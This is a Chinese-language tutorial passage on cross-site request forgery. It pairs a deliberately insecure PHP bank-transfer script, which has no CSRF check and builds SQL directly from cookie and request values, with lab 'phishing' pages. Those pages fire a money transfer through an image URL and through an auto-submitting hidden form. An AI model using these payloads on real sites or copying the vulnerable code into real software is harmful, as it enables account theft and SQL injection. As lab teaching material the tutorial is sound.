4.1跨站点请求伪造(CSRF)
CSRF简介
CSRF( Cross-Site Request Forgery)是指跨站请求伪造,也常常被称为“ One Click Attack或者“ Session Riding”,通常缩写为CSRF或是XSRF。
虽然CSRF听起来像XSS跨站脚本攻击,但CSRF与XSS的攻击方式完全不同。
CSRF与XSS相比,虽然CSRF攻击不太流行,但却更加难以防范,所以被认为CSRF比XSS更具危险性,CSRF在业内具有“苏醒的巨人”的称号。
可以这么理解CSRF攻击:
攻击者盗用了你的身份,以你的名义进行某些非法操作。
CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产。
CSRF攻击原理
会话的产生、使用、结束
当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话
在这个会话没有结束时,你就可以利用你的权限对网站进行某些操作,如:发表文章、发送邮件、删除文章等。
当这个会话结束后,你再进行某些操作的时候,Web应用程序可能会提示你“您的会话已过期”、“请重新登录”等提示。
会话的案例
登录网上银行后,浏览器已经跟可信的站点建立了一个经过认证的会话。
之后,所有通过这个经过认证的会话发送请求,都被视为可信的动作,例如,转账、汇款等操作。
当我们在一段时间内不进行操作后,经过认证的会话可能会断开,再次进行转账、汇款操作时,这个站点可能会提示你:您的身份已过期,请重新登录、会话已结束等信息。
CSRF攻击是建立在会话之上的
当你登录了网上银行,正在进行转账业务,
这时你的某个QQ好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业务代码,而且与你所登录的是同一家网络银行,
你可能认为这个网站是安全的,然而当你打开了这条URL后,你账户中的余额可能会全部丢失。
总结
因为你的浏览器正处于与此网站的会话之中,那么任何操作都是合法的,
而攻击者构造的这段代码只不过是正常的转账操作代码而已
CSRF攻击案例
攻击案例
bank server的转账代码
<?php
include './config.inc.php';
if(isset($_COOKIE['username'])){
var_dump($_REQUEST);
var_dump($_COOKIE);
$from['name']=$_COOKIE['username'];
$to['name']=$_REQUEST['username'];
$money=$_REQUEST['money'];
var_dump($from);
var_dump($to);
var_dump($money);
//对转账主体的操作,查金额,减少金额
$link = mysqli_connect($db_host,$db_user,$db_psd,$db_name);
$sql_from = "select money from member where name='{$from['name']}'";
//echo $sql_from ;
$results = mysqli_query($link,$sql_from);
$result=mysqli_fetch_assoc($results);
$from['money']=$result['money'];
$from['money']-=$money;
$sql_from ="update member set money='{$from['money']}' where name='{$from['name']}'";
mysqli_query($link,$sql_from);
//对转账客体操作,查金额,增加数据
$sql_to="select money from member where name='{$to['name']}'";
$results=mysqli_query($link,$sql_to);
$result=mysqli_fetch_assoc($results);
$to['money']=$result['money'];
$to['money']+=$money;
$sql_to ="update member set money='{$to['money']}' where name='{$to['name']}'";
mysqli_query($link,$sql_to);
//写入转账记录
$sql_r="insert into record(from_name,to_name,money)values('{$from['name']}','{$to['name']}','{$money}')";
mysqli_query($link,$sql_r);
header("Location:./self.php");
}else{
echo "Error!";
}
?>
主要是username、money的值,代表给username转账money
第一步:环境搭建
第二步 test登录bank server,查看自己的金额
第三步 test同时访问hack server服务器上的钓鱼网站
第四步 test用户点击钓鱼网站的链接
第五步 test再次查看自己的金额,发现金额减少
代码分析
钓鱼网站的首页index.html
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道二</a><br />
通道一:使用get方式提交:get.html
meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.146.147/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
src=..表示跳转到转账界面
username=hacker代表转账的对方名称
money=100代表转账的金额
submit=submit代表提交
通道二:使用post方式提交:post.html
<meta charset='utf-8'>
<form name='csrf' action='http://192.146.147/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
总结
CSRF的攻击建立在浏览器与Web服务器的会话中
欺骗用户访问URL